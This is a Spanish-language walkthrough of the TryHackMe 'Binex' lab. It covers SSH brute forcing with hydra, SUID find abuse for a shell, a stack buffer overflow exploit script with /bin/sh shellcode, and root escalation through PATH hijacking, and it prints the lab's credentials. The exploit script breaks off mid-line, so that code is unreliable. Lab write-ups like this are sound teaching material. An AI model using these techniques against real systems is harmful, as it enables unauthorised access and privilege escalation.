Write-Up: Binex (TryHackMe)

1. Introducción y Fase de Reconocimiento

En este laboratorio nos enfrentamos a una máquina Linux diseñada para enseñar técnicas de Explotación de Binarios. El objetivo no es solo conseguir "root", sino comprender cómo la mala gestión de memoria y permisos en Linux puede ser aprovechada por un atacante.

1.1 Enumeración de Puertos

Comenzamos escaneando la máquina para descubrir servicios activos. Utilizamos un escaneo agresivo para optimizar el tiempo. 

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP_MAQUINA>
        

A continuación, realizamos un escaneo de servicios y scripts por defecto para obtener más detalles sobre los puertos descubiertos.

nmap -sCV -p22,139,445 -oN escaneo <IP_MAQUINA>
        

Resultados del escaneo:

• Puerto 22 (SSH): Servicio de acceso remoto seguro (OpenSSH 7.6p1).

  
  

• Puerto 139/445 (SMB): Servicio Samba para compartir archivos.

  

  
  

  
  

1.2 Enumeración de Usuarios (SMB)

Utilizamos enum4linux para interrogar al servicio Samba. A menudo, estos servicios revelan nombres de usuarios reales del sistema, lo cual es vital para la fase de acceso inicial.

enum4linux -R 1000-1003 <IP_MAQUINA>
        

Hallazgo Crítico: Descubrimos tres usuarios locales mediante sus identificadores (SIDs):

• kel

• des

• tryhackme

  

  
  

2. Fase 1: Acceso Inicial (Fuerza Bruta)

Con una lista de usuarios válidos, procedemos a realizar un ataque de diccionario contra el servicio SSH. Seleccionamos al usuario tryhackme como objetivo inicial.

Comando de Ataque:

hydra -l tryhackme -P /usr/share/wordlists/rockyou.txt ssh://<IP_MAQUINA> -t 16
        

Resultado: Hydra identifica la contraseña válida exitosamente en pocos segundos.

• Usuario: tryhackme

• Contraseña: th

  

  
  

  
  

Accedemos al sistema mediante SSH:

ssh tryhackme@<IP_MAQUINA>
        

3. Fase 2: Movimiento Lateral (Explotación SUID)

Una vez dentro, nuestro objetivo es escalar privilegios. Buscamos archivos con el bit SUID (Set User ID) activado. Si encontramos un binario propiedad de otro usuario con SUID, podremos ejecutarlo heredando los privilegios de su dueño.

find / -perm -u=s -type f 2>/dev/null
        

Análisis: Encontramos /usr/bin/find con el bit SUID activado y propiedad del usuario des. Esto es inusual y peligroso, ya que find tiene una función -exec que permite ejecutar comandos arbitrarios.

La Explotación

Usamos find para ejecutar una shell (/bin/sh). Como find corre como des gracias al SUID, la shell resultante heredará esos permisos.

/usr/bin/find . -exec /bin/sh -p \; -quit
        

Resultado: Ahora operamos bajo el usuario des. Navegamos a su directorio home y encontramos la primera flag y credenciales útiles:

• Usuario: des

• Contraseña: destruct

  

  
  

  
  

Obtención de la Flag y Credenciales (Usuario: des)

Ya como usuario des, vamos a su directorio personal para capturar la primera bandera. Es crucial leer este archivo porque contiene las credenciales para la siguiente fase.

Bash

cd /home/des
cat flag.txt

cd /home/des
cat flag.txt
        

Contenido del archivo:

1. Flag: THME{...}

2. Credenciales Siguientes: Al final del archivo, encontramos el usuario des y la contraseña destruct.

Con estas credenciales (des:destruct), cerramos esta conexión y nos conectamos legítimamente por SSH como des para tener una terminal estable para la siguiente fase.

4. Fase 3: Explotación de Binario (Buffer Overflow) - El Núcleo

Salimos de la sesión anterior e ingresamos por SSH directamente como des para tener una terminal estable. En su directorio, encontramos un ejecutable vulnerable llamado bof.

4.1 El Problema del Entorno (Por qué fallan los métodos tradicionales)

El mayor desafío en este binario es que las direcciones de memoria cambian dependiendo de las variables de entorno. Una dirección obtenida en GDB normalmente no servirá en la ejecución real debido a estos desplazamientos .

Solución Académica: Usar env -i para ejecutar el binario en un entorno "vacío" y predecible, tanto al depurar como al explotar.

4.2 Análisis de Memoria con GDB (Entorno Limpio)

Necesitamos encontrar la dirección exacta donde inyectar nuestro código.

1. Crear patrón de prueba:

   Terminal

   
   python3 -c 'print("A"*700)' > entrada.txt
           

   
   

2. Iniciar GDB limpio:

   Terminal

   
   env -i gdb /home/des/bof
           

   
   

   
   

3. Ejecución controlada: Dentro de GDB, limpiamos variables residuales e inyectamos el patrón:

   Terminal

   
   unset env LINES
   unset env COLUMNS
   run < entrada.txt
           

   
   

   
   

4. Inspección de la Pila (Stack): Tras el fallo del programa, examinamos la memoria:

   Terminal

   
   x/100x $rsp-700
           

   
   

   
   

Análisis Crítico del Volcado de Memoria:

Analizando el volcado de pila en GDB, identificamos que el patrón 0x41 ('A') comenzaba en la segunda columna de la dirección 0x7fffffffeadc, lo que corresponde a 0x7fffffffeae0.

Para evitar errores por micro-desplazamientos de memoria, no apuntamos a esa dirección exacta, sino que sumamos un offset de seguridad (+96 bytes) para apuntar a 0x7fffffffeb4c. Esto asegura un aterrizaje estable en medio de nuestro NOP Sled.

Evidencia Visual: En los recuadros rojos de la imagen superior observamos el inicio del buffer inyectado (arriba) y la zona de aterrizaje segura seleccionada (abajo). Nótese cómo la memoria está completamente inundada con nuestro patrón, confirmando que la dirección 0x7fffffffeb40 (o eb4c) es un objetivo estable para el salto.

4.3 Construcción del Exploit (Script Python)

Creamos el script exploit.py con los valores calculados.

• 
  

  Shellcode Local: Usamos un código que ejecuta /bin/sh (24 bytes).

  
  

• 
  

  Offset Total (616): 608 bytes de Buffer + 8 bytes del registro RBP.

  
  

• 
  

  Dirección de Retorno: 0x7fffffffeb40 (Calculada en el análisis anterior).

import sys
import struct

# 1. Shellcode Local (Ejecuta /bin/sh - 24 bytes)
buf = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

# 2. Offset Total: Buffer (608) + RBP (8) = 616
offset = 616

# 3. Dirección de Retorno (Calculada en GDB)
address = 0x7fffffffeb40

# 4. Armado: NOPs + Shellcode + Relleno + Dirección
nop_sled = b"\x90" * 400
padding_len = offset - len(nop_sled) - len(buf)
padding = b"A" * padding_len
ret_addr = struct.pack("

4.4 Ejecución "Double Pipe" (Tubería Doble)

Para inyectar el exploit sin que la shell se cierre inmediatamente, usamos el truco de la doble tubería con cat. env -i asegura que el entorno sea idéntico al de GDB.

python3 exploit.py > ataque.bin
(cat ataque.bin; cat) | env -i /home/des/bof
        

Obtención de la Flag y Credenciales (Usuario: kel)

El exploit nos otorga acceso como el usuario kel. Inmediatamente buscamos la bandera:

whoami
cd /home/kel
cat flag.txt
        

Contenido del archivo:

1. Flag: THM{bu...}

2. Credenciales Siguientes: El archivo nos revela el usuario kel y la contraseña kelvin.

   

Nuevamente, usamos estas credenciales (kel:kelvin) para conectar por SSH y proceder a la fase final.

5. Fase 4: Escalada a Root (PATH Hijacking)

Como usuario kel, encontramos un archivo llamado exe con permisos SUID de root. Al analizar su código fuente (exe.c), vemos que ejecuta el comando ps usando system(), pero sin especificar la ruta completa.

La Lógica del Fallo

El sistema buscará el ejecutable ps en las carpetas definidas en la variable $PATH. Podemos engañar al sistema para que ejecute nuestro propio programa malicioso en lugar del ps real.

La Explotación

1. Crear la trampa: Copiamos la shell /bin/sh a /tmp y la renombramos a ps.

   Terminal

   
   cp /bin/sh /tmp/ps
           

   
   

   
   

2. Envenenar el PATH: Modificamos la variable para que el sistema busque en /tmp primero.

   Terminal

   
   export PATH=/tmp:$PATH
           

   
   

   
   

3. Ejecutar: Al correr ./exe, el programa ejecutará nuestra trampa con permisos de root.

   Terminal

   
   ./exe
           

   

   
   

   
   

Resultado: Obtenemos una shell con privilegios de ROOT (#). Ahora podemos leer la bandera final: cat /root/root.txt.

6. Conclusión

La máquina Binex nos ha permitido recorrer el ciclo completo de explotación de binarios:

• Abuso de SUID (Find): Demuestra el peligro de asignar permisos elevados a utilidades de sistema.

• Buffer Overflow (Bof): Nos enseñó la importancia de la precisión en memoria, el manejo de entornos (env -i) y la construcción manual de exploits en Stack.

• PATH Hijacking (Exe): Ilustra por qué siempre se deben usar rutas absolutas al programar llamadas al sistema en C.